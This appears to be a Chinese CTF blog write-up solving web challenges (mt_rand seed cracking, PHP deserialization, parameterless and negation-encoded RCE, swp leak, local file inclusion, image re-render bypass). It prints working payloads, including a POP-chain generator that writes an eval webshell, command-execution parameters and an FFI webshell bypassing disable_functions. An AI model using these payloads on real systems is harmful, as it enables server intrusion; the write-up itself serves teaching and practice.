# lottery

# 题目描述

image-20211121173724906

源码发现 js

$(function(){
	 $("#startbtn").click(function(){
		lottery();
	});
});
function lottery(){
	$.ajax({
		type: 'POST',
		url: 'data.php',
		dataType: 'json',
		cache: false,
		error: function(){
			alert('恭喜你,没中奖!\n'+'还要再来一次吗?');
			return false;
		},
	});
}
$(function(){
	 $("#returnbutton").click(function(){
		var con = confirm('真的要放弃吗?就差辣么一点点了!');
		if(con){
			window.location.href="https://www.xp0int.top/challenges";
		}
	});
});

看到 data.php

data.php

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
</head>
</html>
<!--
session_start ();
if (!isset ($_POST ['admin_key'])){
	die ("你不是管理员,不能猜张三的 flag 噢!");
}
if (isset ($_POST ['admin_key'])){
	if ($_POST ['admin_key'] == $_SESSION ['key'])
		//continue;
	else {
		$_SESSION ['key']=time ().time ();
		die ("快来人!有人想装管理员!");
	}
}
-->
你不是管理员,不能抽奖噢!

# session 机制

根据源码只需要$_POST['admin_key'] == $_SESSION['key']
即可抽奖


我们知道, session是键值对并且存储在服务端。在与客户端交流的过程中会将session数组存放在cookie中进行交流。


image-20211121180811228

这里我们的cookie中就存放了$_SESSION['key']的信息,但是如果要修改值的话需要进行加密与解密

所以我们直接删除,让服务器接受不到cookie,那么服务器就会认为客户端是新用户并且给其分配session,这样$_SESSION['key']就为0

所以只需要POST admin_key也为0即可

image-20211121181051147

# 伪随机数

进入下一关发现

image-20211121183041938

而且不同的浏览器出现的不同

image-20211121183113925

# 伪随机数

伪随机数是用确定性的算法计算出来的随机数序列,它并不真正的随机,但具有类似于随机数的统计特征,如均匀性、独立性等。在计算伪随机数时,若使用的初值(种子)不变,那么伪随机数的数序也不变。伪随机数可以用计算机大量生成,在模拟研究中为了提高模拟效率,一般采用伪随机数代替真正的随机数。模拟中使用的一般是循环周期极长并能通过随机数检验的伪随机数,以保证计算结果的随机性。伪随机数的生成方法有线性同余法、单向散列函数法、密码法等。


mt_rand就是一个伪随机数生成函数,它由可确定的函数,通过一个种子产生的伪随机数。这意味着:如果知道了种子,或者已经产生的随机数,都可能获得接下来随机数序列的信息(可预测性)。




所以:大致过程就明了了,我们根据已经给出的部分随机数,利用工具找出seed(种子),然后得到完整的随机数。

下面是常见的生产随机数代码

<?php
 function user_password($length = 10) {
 $allowable_characters = 'abcdefghijkmnopqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ23456789';
 $len = strlen($allowable_characters) - 1;
 $pass = '';
 for ($i = 0; $i < $length; $i++) {
 $pass .= $allowable_characters[mt_rand(0, $len)];
 }
 return $pass;
 }
 mt_srand(time());
 echo user_password(), "\n";
 echo user_password(), "\n";
 echo user_password(), "\n";
 ?>

生成三个随机数

image-20211121193303874

假设我们现在得到了第一个用户的密码:jMxpaqCXzc

我们要写一个程序,先是把字母还原成为生成的随机数,然后在拼接成php_mt_seed需要的参数。代码如下:
<?php
$pass_now = "jMxpaqCXzc";
$allowable_characters = 'abcdefghijkmnopqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ23456789';
$len = strlen($allowable_characters) - 1;
for($j = 0; $j < strlen($pass_now); $j++)
{
    for ($i = 0; $i < $len; $i++) {
        if($pass_now[$j] == $allowable_characters[$i])
        {
            echo "$i $i 0 56 ";
            break;
        }
    }
}

结果

9 9 0 56 36 36 0 56 22 22 0 56 14 14 0 56 0 0 0 56 15 15 0 56 27 27 0 56 46 46 0 56 24 24 0 56 2 2 0 56

在 linux 下运行

./php_mt_seed 9 9 0 56 36 36 0 56 22 22 0 56 14 14 0 56 0 0 0 56 15 15 0 56 27 27 0 56 46 46 0 56 24 24 0 56 2 2 0 56

image-20211121195604419

得到seed = 0x619a2e59 = 1637494361

写解密代码如下

<?php
function user_password($length = 10) {
    $allowable_characters = 'abcdefghijkmnopqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ23456789';
    $len = strlen($allowable_characters) - 1;
    $pass = '';
    for ($i = 0; $i < $length; $i++) {
        $pass .= $allowable_characters[mt_rand(0, $len)];
    }
    return $pass;
}
mt_srand(1637494361);
echo user_password(), "\n";
echo user_password(), "\n";
echo user_password(), "\n";

image-20211121195734527

# 回到题目

将 Kwd9zF5JRxJ 放入代码

得到

34 34 0 56 21 21 0 56 3 3 0 56 24 24 0 56 30 30 0 56 52 52 0 56 33 33 0 56 40 40 0 56 22 22 0 56 33 33 0 56

# hiddingcode

# 源码

<?php
error_reporting(0);
if ("admin" == $_GET[username] &‮⁦+!!⁩⁦& "‮⁦CTF⁩⁦xp0intctf" == $_GET[‮⁦Xp0int⁩⁦password]) { //Welcome to
    include "flag.php";
    echo $flag;
}
show_source(__FILE__);
?>

复制一下发现有问题,这里不能直接复制

# unicode 双向字符

image-20211121183213236

将其复制到phpstorm发现很多不可见字符

这是因为web网页一般使用unicode码,这些不可见字符其实也是unicode码,所以在web页面上有这样的效果


但是因为phpstorm不是unicode解析,所以能看到这些


所以只需要username为admin而且右边相等即可

但是

image-20211121183657113

如果想在右边加 = 号会发现加在了中间,所以这里要 url 编码一下

image-20211121183848026

# MD5

# ~ 源码泄露

image-20211121184104660

经过尝试,是在后面加~

image-20211121190542919

<head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <style>
        span {
            position: relative;
            display: flex;
            width: 100%;
            height: 700px;
            align-items: center;
            font-size: 70px;
            font-family:'Lucida Sans', 'Lucida Sans Regular', 'Lucida Grande', 'Lucida Sans Unicode', Geneva, Verdana, sans-serif;
            justify-content: center;
        }
    </style>
</head>

<body>
    <span>恭喜来到第二关,这里仍然是MD5哦,但源码在哪呢?</span>
</body>

</html>

<?php
error_reporting(0);
$a = $_GET['Xp0int1'];
$b = $_GET['Xp0int2'];

if($a != $b && md5($a) == md5($b)){
    echo "<script>window.location.replace('./xxx.php')</script>";//跳转到xxx.php(文件名猜不到的)
}
?>

# checkin

# 源码

<?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
$a = array("C", "T", "F");
$num1 = 999999999;
if (!($a == $_POST['b'] and $a !== $_POST['b'])) {
    die("maybe you can learn something from https://www.php.net/manual/zh/language.operators.array.php");
}
if (!(!empty($_GET['num2']) && $_GET['num2'] > $num1 && strlen($_GET['num2']) < 4)) {
    die("Scientific notation!!!");
}
if (empty($_POST['md5a'])||empty($_POST['md5b'])||is_array($_POST['md5a'])||is_array($_POST['md5b'])||($_POST['md5a']==$_POST['md5b'])||!(md5($_POST['md5a']) === md5($_POST['md5b']))) {
    die("no no no");
}
echo $flag;

# 数组绕过

image-20211122195015538

本地测试

<?php
highlight_file(__FILE__);
$a = array("C", "T", "F");
$b = $_POST['b'];
var_dump($a);
echo '<br>';
var_dump($b);
echo '<br>';
var_dump($a == $b);
var_dump($a === $b);

image-20211122195127258

image-20211122195118559

# ez-rce

# 源码

<?php
highlight_file(__FILE__);
if ($_POST['shell']) {
    $shell = $_POST['shell'];
    if (';' === preg_replace('/[a-z_]+\((?R)?\)/', '', $shell)) {
        if (preg_match('/file|if|localeconv|phpversion|sqrt|et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $shell)) {
            die('?');
        } else {
            eval($shell);
        }
    } else {
        die('??');
    }
}

# 无参数 rce

# 查看当前文件

image-20211124110454835

# 查看文件内容

image-20211124110331553

# easy-unserialize

# 源码

<?php
highlight_file(__FILE__);
class getflag
{
    public $file;
    public function __destruct()
    {
        if ($this->file === "flag.php") {
            echo file_get_contents($this->file);
        }
    }
}
class tmp
{
    public $str1;
    public $str2;
    public function __construct($str1, $str2)
    {
        $this->str1 = $str1;
        $this->str2 = $str2;
    }
}
$str1 = $_POST['str1'];
$str2 = $_POST['str2'];
$data = serialize(new tmp($str1, $str2));
$data = str_replace("easy", "ez", $data);
unserialize($data);

# 字符逃逸

这里在str1传入easy, 在str2传入构造的键值对,可以先在str2传入十个0进行构造

image-20211124222425085

我们要吞掉所标记的结构, 在str2传递内容前面加"对前面进行闭合,后面就能自行构造。

这里标记部分为19个字符,而一次替换替换两个字符,所以str2要在"前面多传递一个字符凑齐20个字符

注意这里需要传入一个键值对,不能只传入一个对象,这样就相当于只传入键而没有值
str1=easyeasyeasyeasyeasyeasyeasyeasyeasyeasy

str2=1";s:0:"";O:7:"getflag":1:{s:4:"file";s:8:"flag.php";}}

# easy_js

# 源码

image-20211206142713519

# 解密 index.js

可以看到js代码被加密了,所以我们通过解密网站获得源码

image-20211206142803753

var H1 = 0;
function draw() {
    one = '<div class="item">';
    two = '<p id="clickNumber">Click number: 0</p>';
    three = '<p id="flag">flag will appear when you click 99999999 times !</p>';
    four = '</div><div class="item"><img src="jndx.gif" onclick="clickkkkk();"></div>';
    window["document"]['getElementById']("bo")['innerHTML'] = one + two + three + four
}
draw();
function clickkkkk() {
    var mZjYBFF2 = 1;
    var tbuE3 = 2;
    var nBmms4 = 3;
    window["document"]['getElementById']("flag");
    g()
}
function g() {
    var fCdaXby5 = 1;
    var BFJkq6 = fCdaXby5;
    window["document"]['getElementById']("click");
    c()
}
function c() {
    H1 += 1;
    window["document"]['getElementById']("clickNumber")['innerHTML'] = "Click number: " + H1;
    if (H1 === 99999999) {
        var boF7 = new XMLHttpRequest();
        var jQs8 = "flaggggggggggggggg.php?c1ick=" + H1;
        boF7['onreadystatechange'] = function() {
            if (boF7['readyState'] == 4 && boF7['status'] == 200) {
                text = boF7['responseText'];
                window["document"]['getElementById']('flag')['innerHTML'] = text;
                console['log'](text)
            }
        }
        boF7['open']("GET", jQs8, true);
        boF7['send']()
    } else {
        window["document"]['getElementById']('flag')['innerHTML'] = "flag will appear when you click 99999999 times !"
    }
}
function clickEffect() {
    let balls = [];
    let longPressed = false;
    let longPress;
    let multiplier = 0;
    let width, height;
    let origin;
    let normal;
    let ctx;
    const colours = ["#F73859", "#14FFEC", "#00E0FF", "#FF99FE", "#FAF15D"];
    const canvas = window["document"]['createElement']("canvas");
    window["document"]['body']['appendChild'](canvas);
    canvas['setAttribute']("style", "width: 100%; height: 100%; top: 0; left: 0; z-index: 99999; position: fixed; pointer-events: none;");
    const pointer = window["document"]['createElement']("span");
    pointer['classList']['add']("pointer");
    window["document"]['body']['appendChild'](pointer);
    if (canvas['getContext'] && window['addEventListener']) {
        ctx = canvas['getContext']("2d");
        updateSize();
        window['addEventListener']('resize', updateSize, false);
        loop();
        window['addEventListener']("mousedown", function(t9) {
            pushBalls(randBetween(10, 20), t9['clientX'], t9['clientY']);
            window["document"]['body']['classList']['add']("is-pressed");
            longPress = setTimeout(function() {
                window["document"]['body']['classList']['add']("is-longpress");
                longPressed = true
            }, 500)
        }, false);
        window['addEventListener']("mouseup", function(iSsrAP10) {
            clearInterval(longPress);
            if (longPressed == true) {
                window["document"]['body']['classList']['remove']("is-longpress");
                pushBalls(randBetween(50 + window["Math"]['ceil'](multiplier), 100 + window["Math"]['ceil'](multiplier)), iSsrAP10['clientX'], iSsrAP10['clientY']);
                longPressed = false
            }
            window["document"]['body']['classList']['remove']("is-pressed")
        }, false);
        window['addEventListener']("mousemove", function(Me11) {
            let x = Me11['clientX'];
            let y = Me11['clientY'];
            pointer['style']['top'] = y + "px";
            pointer['style']['left'] = x + "px"
        }, false)
    } else {
        console['log']("canvas or addEventListener is unsupported!")
    }
    function updateSize() {
        canvas['width'] = window['innerWidth'] * 2;
        canvas['height'] = window['innerHeight'] * 2;
        canvas['style']['width'] = window['innerWidth'] + 'px';
        canvas['style']['height'] = window['innerHeight'] + 'px';
        ctx['scale'](2, 2);
        width = (canvas['width'] = window['innerWidth']);
        height = (canvas['height'] = window['innerHeight']);
        origin = {
            x: width / 2,
            y: height / 2
        };
        normal = {
            x: width / 2,
            y: height / 2
        }
    }
    class Ball {
        constructor(tUhe12 = origin['x'], y = origin['y']) {
            this['x'] = tUhe12;
            this['y'] = y;
            this['angle'] = window["Math"]['PI'] * 2 * window["Math"]['random']();
            if (longPressed == true) {
                this['multiplier'] = randBetween(14 + multiplier, 15 + multiplier)
            } else {
                this['multiplier'] = randBetween(6, 12)
            }
            this['vx'] = (this['multiplier'] + window["Math"]['random']() * 0.5) * window["Math"]['cos'](this['angle']);
            this['vy'] = (this['multiplier'] + window["Math"]['random']() * 0.5) * window["Math"]['sin'](this['angle']);
            this['r'] = randBetween(8, 12) + 3 * window["Math"]['random']();
            this['color'] = colours[window["Math"]['floor'](window["Math"]['random']() * colours['length'])]
        }
        update() {
            this['x'] += this['vx'] - normal['x'];
            this['y'] += this['vy'] - normal['y'];
            normal['x'] = -2 / window['innerWidth'] * window["Math"]['sin'](this['angle']);
            normal['y'] = -2 / window['innerHeight'] * window["Math"]['cos'](this['angle']);
            this['r'] -= 0.3;
            this['vx'] *= 0.9;
            this['vy'] *= 0.9
        }
    }
    function pushBalls(count = 1, Ath13 = origin['x'], y = origin['y']) {
        for (let i = 0; i < count; i++) {
            balls['push'](new Ball(Ath13, y))
        }
    }
    function randBetween(QbDVNr14, fvmS$D15) {
        return window["Math"]['floor'](window["Math"]['random']() * fvmS$D15) + QbDVNr14
    }
    function loop() {
        ctx['fillStyle'] = "rgba(255, 255, 255, 0)";
        ctx['clearRect'](0, 0, canvas['width'], canvas['height']);
        for (let i = 0; i < balls['length']; i++) {
            let b = balls[i];
            if (b['r'] < 0) continue;
            ctx['fillStyle'] = b['color'];
            ctx['beginPath']();
            ctx['arc'](b['x'], b['y'], b['r'], 0, window["Math"]['PI'] * 2, false);
            ctx['fill']();
            b['update']()
        }
        if (longPressed == true) {
            multiplier += 0.2
        } else if (!longPressed && multiplier >= 0) {
            multiplier -= 0.4
        }
        removeBall();
        requestAnimationFrame(loop)
    }
    function removeBall() {
        for (let i = 0; i < balls['length']; i++) {
            let b = balls[i];
            if (b['x'] + b['r'] < 0 || b['x'] - b['r'] > width || b['y'] + b['r'] < 0 || b['y'] - b['r'] > height || b['r'] < 0) {
                balls['splice'](i, 1)
            }
        }
    }
}
clickEffect();

关键函数

function c() {
    H1 += 1;
    window["document"]['getElementById']("clickNumber")['innerHTML'] = "Click number: " + H1;
    if (H1 === 99999999) {
        var boF7 = new XMLHttpRequest();
        var jQs8 = "flaggggggggggggggg.php?c1ick=" + H1;
        boF7['onreadystatechange'] = function() {
            if (boF7['readyState'] == 4 && boF7['status'] == 200) {
                text = boF7['responseText'];
                window["document"]['getElementById']('flag')['innerHTML'] = text;
                console['log'](text)
            }
        }
        boF7['open']("GET", jQs8, true);
        boF7['send']()
    } else {
        window["document"]['getElementById']('flag')['innerHTML'] = "flag will appear when you click 99999999 times !"
    }
}
根据js代码提示,访问http://35.229.138.83:13251/flaggggggggggggggg.php?c1ick=99999999即可getshell

image-20211206142922230

# simple_php

# 题目

image-20211206150219403

# swp 源码泄露

因为写着写着黑屏了,所以猜测swp文件

访问index.php.swp即可下载

可以使用vim -r index.php.swp进行恢复,也可以直接打开查看

image-20211206150519731

image-20211206150545327

<?php
function getflag(){
    echo file_get_contents("./flag");
}
if(isset($_GET['code'])){
    $code=$_GET['code'];
    if(strlen($code)>14){
        die("too long !");
    }
    if(preg_match('/[a-zA-Z0-9_&^<>"\'$#@!*&+=.`\[\]{}?,]+/',$code)){
        die(" No ! No !");
    }
    @eval($code);
}

# 取反注入

用之前命令执行的代码

<?php
// 在命令行中运行
/*author yu22x*/
fwrite(STDOUT,'[+]your function: ');
$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
fwrite(STDOUT,'[+]your command: ');
$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
[+]your function: getflag
[+]your command:
[*] (~%98%9A%8B%99%93%9E%98)();

image-20211206151202631

# PictureGenerator

# 源码

app.py

from flask import Flask, request, redirect, url_for
import os
import random
import string
import time
clean = time.time()
app = Flask(__name__)
chars = list(string.ascii_letters + string.digits)
@app.route('/')
def main():
    return open("index.html").read()
@app.route('/generate', methods=['POST'])
def upload():
    global clean
    if time.time() - clean > 60:
      os.system("rm static/images/*")
      clean = time.time()
    data = request.form.getlist('text')[0]
    data = data.replace("\"", "")
    data = data.replace("$","")
    name = "".join(random.choices(chars,k=8)) + ".png"
    os.system(f"python3 gene.py {name} \"{data}\"")
    return redirect(url_for('static', filename='images/' + name), code=301)
if __name__ == "__main__":
  app.run("0.0.0.0",80)

gene.py

import os
from PIL import Image, ImageDraw, ImageFont
import sys
font = ImageFont.truetype('static/generator/comic-sans.ttf', size=48)
outfile = sys.argv[1]
text = sys.argv[2]
if len(text) > 1000: # Too much text :generate:
  text = "Too long!"
width, height = 512, 562
img = Image.new('RGB', (width, height), color=(255, 255, 255))
canvas = ImageDraw.Draw(img)
chunks = []
chunk = ""
for char in text:
  chunk += char
  text_width, text_height = canvas.textsize(chunk, font=font)
  if text_width >= (width-20):
    chunks.append(chunk[:-1])
    chunk = char
if len(chunks) == 0:
  chunks.append(chunk)
if chunks[-1] != chunk:
  chunks.append(chunk)
for i,chunk in enumerate(chunks):
  text_width, text_height = canvas.textsize(chunk, font=font)
  x_pos = int((width - text_width) / 2) + 10
  y_pos = 15 + i * 100
  canvas.text((x_pos, y_pos), chunk, font=font, fill='#000000')
if "flag" in text: # Don't try and exfiltrate flags from here :generate:
  img = Image.open("static/generator/error.jpg")
  img.save(f"static/images/{outfile}")
else:
  img2 = Image.open("static/generator/hack.jpg")
  img.paste(img2, (50, 100), img2.convert('RGBA'))
  if len(chunks) > 1:
    img3 = Image.open("static/generator/move.png").convert('RGBA')
    img3.paste(img, (170,42), img.convert('RGBA'))
    img3.save(f"static/images/{outfile}")
  else:
    img.save(f"static/images/{outfile}")

# ezpop

# 源码

<?php
error_reporting(0);
class openfunc{
    public $object;
    function __construct(){
        $this->object=new normal();
    }
    function __wakeup(){
        $this->object=new normal();
    }
    function __destruct(){
        $this->object->action();
    }
}
abstract class hack {
    abstract public function pass();
    public function action() {
        $this->pass();
    }
}
class normal{
    public $d;
    function action(){
        echo "you must bypass it";
    }
}
class evil extends hack{
    public $data;
    public $a;
    public $b;
    public $c;
    public function pass(){
        $this->a = unserialize($this->b);
        $this->a->d = urldecode(date($this->c));
        if($this->a->d === 'shell'){
            $this->shell();
        }
        else{
            die(date('Y/m/d H:i:s'));
        }
    }
    function shell(){
        if(preg_match('/system|eval|exec|base|compress|chr|ord|str|replace|pack|assert|preg|replace|create|function|call|\~|\^|\`|flag|cat|tac|more|tail|echo|require|include|proc|open|read|shell|file|put|get|contents|dir|link|dl|var|dump|php/i',$this->data)){
            die("you die");
        }
        $dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
        if(!file_exists($dir)){
            mkdir($dir);
        }
        echo $dir;
        file_put_contents("$dir" . "hack.php", $this->data);
    }
}
if (isset($_GET['Xp0int']))
{
    $Data = unserialize(base64_decode($_GET['Xp0int']));
}
else
{
    highlight_file(__file__);
}

# 找链

pop链 :  openfunc::__destruct()  ->   evil::action()   ->   evil::pass()
 ->   evil::shell()

# 绕过

# date 类型利用

image-20211206193301190

首先要让$a->d 为 shell, 然而$a->d 是 date($c)

那么需要让date($c) 为shell

我们查看php手册

image-20211206193501476

只需要让$c = "\\s\\h\\e\\l\\l"即可

# RCE1 字符串拼接与 create_function RCE

image-20211206193642675

#这里我们构造通过create_function进行RCE
#让其$data为
<?= $func=create_function; $test=$func($x, eval(base64_decode($x));); $test($shell); ?>
#(意思就是传入$x参数,执行eval(base64_decode($x)) )
#其中$shell为base64_encode('@eval($_POST[a]);');
#又因为需要用字符拼接绕过过滤,最终形成
"<?=\n\$func='c'.'r'.'e'.'a'.'t'.'e'.'_'.'f'.'u'.'n'.'c'.'t'.'i'.'o'.'n';\$test=\$func('\$x','e'.'v'.'a'.'l'.'(b'.'a'.'s'.'e'.'6'.'4'.'_'.'d'.'e'.'c'.'o'.'d'.'e(\$x));');\$test('$shell');\n?>"

# payload

<?php
error_reporting(0);
class openfunc{
    public $object;
    function __construct(){
        $this->object=new evil();
    }
}
abstract class hack {
    abstract public function pass();
    public function action() {
        $this->pass();
    }
}
class normal{
    public $d;
}
$shell = base64_encode('@eval($_POST[a]);');
class evil extends hack{
    public $data;
    public $b;
    public $c;
    public function __construct()
    {
        $this->c = "\\s\h\\e\\l\\l";
        $this->b = serialize(new normal());
    }
}
$a = new openfunc();
$shell = base64_encode('@eval($_POST[a]);');
$a->object->data = "<?=\n\$func='c'.'r'.'e'.'a'.'t'.'e'.'_'.'f'.'u'.'n'.'c'.'t'.'i'.'o'.'n';\$test=\$func('\$x','e'.'v'.'a'.'l'.'(b'.'a'.'s'.'e'.'6'.'4'.'_'.'d'.'e'.'c'.'o'.'d'.'e(\$x));');\$test('$shell');\n?>";
$str = serialize($a);
$str = str_ireplace('O:8:"openfunc":1:', 'O:8:"openfunc":2:', $str);
echo '<br>';
print(base64_encode($str));

image-20211206194824598

# RCE2

使用<?= $_POST[0]($_POST[1]);?>
POST传入0=system&1=ls /

# RCE 3

<?= passthru(urldecode(xxx))?>

# RCE4

异或注入

# imgbed

注册登录后发现 index.php?action=class.php , 可能存在文件包含

传入 index.php?action=/etc/passwd , 成功读取,但无法直接读取 /flag

使用 php 协议来读取源代码 index.php?action=php://filter/read=convert.base64-encode/resource=index.php

# 源码

index.php

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}
if(isset($_GET['action'])&&!empty($_GET['action'])){
    include $_GET['action'];
}
else{
    header("Location: index.php?action=class.php");
    die();
}
?>

class.php 主要函数

<?php
error_reporting(0);
class File
{
    public $filename;
    public function __construct($filename)
    {
        $this->filename = $filename;
    }
    public function check_file_exist(): bool
    {
        if (file_exists($this->filename) && !is_dir($this->filename)) {
            return true;
        } else {
            return false;
        }
    }
    public function get_file_size(): string
    {
        $size = filesize($this->filename);
        $units = array('B', 'KB', 'MB', 'GB');
        for ($i = 0; $size >= 1024; $i++) {
            $size /= 1024;
        }
        return round($size, 1) . ' ' . $units[$i];#浮点数四舍五入,保留 1 位小数
    }
    public function delete_file()
    {
        unlink($this->filename);
    }
    public function get_file_contents()
    {
        return file_get_contents($this->filename);
    }
}

由于存在 file_exists , 推测可能存在 phar 反序列化

upload.php

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: index.php");
    die();
}
include "class.php";
if (isset($_GET['sent'])) {
    $file_array = $_POST['file'];
    $file_location = 'uploads/';
    $file_num = sizeof($file_array);
    if (!$file_num) {
        header("Location: index.php");
        die();
    }
    for ($i = 0; $i < $file_num; $i++) {
        $this_file_json_object = $file_array[$i];
        $this_file = json_decode($this_file_json_object, true);
        $this_file_name = $this_file["name"];
        $this_file_type = $this_file["type"];
        $this_file_data = $this_file["data"];
        $this_file_extension = substr($this_file_name, strrpos($this_file_name, '.') + 1);
        if ((($this_file_extension == "jpg" || $this_file_extension == "jpeg") && ($this_file_type == "image/jpeg")) || (($this_file_extension == "png") && ($this_file_type == "image/png")) || (($this_file_extension == "gif") && ($this_file_type == "image/gif"))) {
            $this_file_name = sha1(date('YmdGHs') . substr(microtime(true), 11, 4) . $_SESSION['username'] . $this_file_name) . '.' . $this_file_extension;
            $this_file_save_path = $file_location . $this_file_name;
            $this_file_decode_data = base64_decode($this_file_data);
            file_put_contents($this_file_save_path, $this_file_decode_data);
            if ($this_file_type == "image/jpeg"){
                $im = @imagecreatefromjpeg($this_file_save_path);
                @unlink($this_file_save_path);
                imagejpeg($im,$this_file_save_path);
            }
            else if($this_file_type == "image/png"){
                $im = @imagecreatefrompng($this_file_save_path);
                @unlink($this_file_save_path);
                imagepng($im,$this_file_save_path);
            }
            else if($this_file_type == "image/gif"){
                $im = @imagecreatefromgif($this_file_save_path);
                @unlink($this_file_save_path);
                imagegif($im,$this_file_save_path);
            }
            $image = new Image();
            $image->insert($this_file_name);#在数据库中保存文件名
        }
    }
    header("Location: index.php");
    die();
}

# 题解一

# 二次渲染

注意到有imagecreatefromjpeg 、 imagecreatefrompng 、  imagecreatefromgif进行二次渲染

先上传那张图片让其渲染一次

image-20211207213838680

然后将其渲染后的图片下载回来命名为2.jpg

image-20211207213916914

运行脚本生成图片

image-20211207213946800

上传图片进行包含

image-20211207214026426

蚁剑连接, 这里因为要登录,所以需要带上cookie

image-20211207214117347

image-20211207214127618

进去后发现根目录下有readflag,需要运行readflag去查看flag,检查phpinfo()发现禁用了大量的函数,并且配置开启了ffi,因此可以利用ffi bypass disable function

直接利用蚁剑的插件即可

# ffi bypass disable function

FFI(Foreign Function Interface),即外部函数接口,允许从用户区调用C代码。当PHP所有的命令执行函数被禁用后,通过PHP 7.4的新特性FFI可以实现用PHP代码调用C代码的方式,先声明C中的命令执行函数,然后再通过FFI变量调用该C函数即可Bypass disable_functions

也就是说,只要目标环境中的PHP开启了FFI扩展,如果我们能上传文件或写入恶意代码到web目录中,便可以利用FFI调用C语言中的函数来执行命令,从而绕过disable functions。

核心语句为

FFI::cdef


FFI::cdef([string $cdef = "" [, string $lib = null]]): FFI
//告诉PHP FFI我们要调用的函数原型


例如,调用libcurl库函数
//curl.php
<?php
const CURLOPT_URL = 10002;
const CURLOPT_SSL_VERIFYPEER = 64;//PHP 预定义好了 CURLOPT_等 option 的值,但这里我们需要自己定义,简单的办法就是查看 curl 的头文件,找到对应的值,然后把值给加进去
$libcurl = FFI::cdef(<<<CTYPE
void *curl_easy_init();
int curl_easy_setopt(void *curl, int option, ...);
int curl_easy_perform(void *curl);
void curl_easy_cleanup(void *handle);
CTYPE
 , "libcurl.so"        // 声明我们引用的函数来自 libcurl.so 动态库
 );
 ?>

这样我们就能在其它 php 文件中通过简单的引用来使用 libcurl 库中的函数了

<?php
require "curl.php";
$url = "https://www.laruence.com/2020/03/11/5475.html";
$ch = $libcurl->curl_easy_init();
$libcurl->curl_easy_setopt($ch, CURLOPT_URL, $url);
$libcurl->curl_easy_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
$libcurl->curl_easy_perform($ch);
$libcurl->curl_easy_cleanup($ch);
?>

利用

当我们利用webshell获得了一定的执行权限,但需要绕过disable functions时,如果对方服务器版本大于等于7.4,便可以尝试使用FFI制造命令执行

上传一个 ffi.php

<?php
if(isset($_GET['cmd'])){
    $cmd=$_GET['cmd'];
    $ffi = FFI::cdef("int system(const char *command);");
    $ffi->system("$cmd > /tmp/123");       // 由 GET 传参的任意代码执行
    echo file_get_contents("/tmp/123");
    @unlink("/tmp/123");
}
else{
    $ffi = FFI::cdef("int system(const char *command);");
    $ffi->system("/readflag > /tmp/123");       // 任意代码执行
    echo file_get_contents("/tmp/123");
    @unlink("/tmp/123");
}
?>

代码逻辑非常简单

可访问该文件通过 GET 传参的方式传入我们想执行的命令,命令是通过 C 语言的 system 函数执行的,用这种方式绕过了 disable functions。

将返回结果写入 /tmp/123,并在每次读出结果后用 unlink() 函数删除它。

# 题解二

# Pearcmd.php 的巧妙利用

image-20211208211733305

image-20211208211748124

请我喝[茶]~( ̄▽ ̄)~*

miku233 微信支付

微信支付

miku233 支付宝

支付宝

miku233 贝宝

贝宝